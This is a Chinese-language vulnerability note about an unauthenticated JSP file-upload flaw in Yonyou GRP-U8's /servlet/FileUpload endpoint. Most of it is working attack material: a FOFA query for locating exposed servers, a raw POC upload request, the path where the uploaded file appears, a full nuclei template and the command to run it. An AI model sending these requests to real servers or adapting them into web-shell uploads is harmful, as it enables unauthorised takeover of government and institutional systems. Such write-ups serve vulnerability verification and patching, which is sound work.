免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

漏洞名称

用友GRP-U8 FileUpload 文件上传漏洞

漏洞影响

用友GRP-U8

漏洞描述

用友GRP-U8行政事业内控管理软件是一款专门针对行政事业单位开发的内部控制管理系统,旨在提高内部控制的效率和准确性。该软件/servlet/FileUpload接口存在文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。

FOFA搜索语句

app="用友-GRP-U8"

漏洞复现

向靶场发送如下POC数据包,其中ccsxxzjx.jsp为文件名,frijcdiyuaqkgwvodnks为文件内容


POST /servlet/FileUpload?fileName=ccsxxzjx.jsp&actionID=update HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Length: 43
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

<% out.println("frijcdiyuaqkgwvodnks");%>

响应内容如下


HTTP/1.1 200 OK
Connection: close
Content-Length: 0
Content-Type: text/html;charset=GBK
Date: Mon, 25 Dec 2023 05:43:29 GMT
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=57DCB2652D1FA7BB1E082D13BEEC0342; Path=/

查看回显文件

http://x.x.x.x/R9iPortal/upload/ccsxxzjx.jsp

漏洞复现成功

nuclei poc

poc文件内容如下

id: yonyou-grp-u8

id: yonyou-grp-u8-fileupload-fileupload

info:
  name: 用友GRP-U8 FileUpload 文件上传漏洞
  author: fgz
  severity: critical
  description: 用友GRP-U8行政事业内控管理软件是一款专门针对行政事业单位开发的内部控制管理系统,旨在提高内部控制的效率和准确性。该软件/servlet/FileUpload接口存在文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。
  metadata:
    max-request: 1
    fofa-query: app="用友-GRP-U8"
    verified: true
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}"
  file_content: "{{to_lower(rand_text_alpha(20))}}"
requests:
  - raw:
      - |+
        POST /servlet/FileUpload?fileName={{file_name}}.jsp&actionID=update HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Connection: close
        
        <% out.println("{{file_content}}");%>

      - |
        GET /R9iPortal/upload/{{file_name}}.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"

运行POC

nuclei.exe -t yonyou-grp-u8-fileupload-fileupload.yaml -u http://192.168.30.102:112

修复建议

升级到最新版本。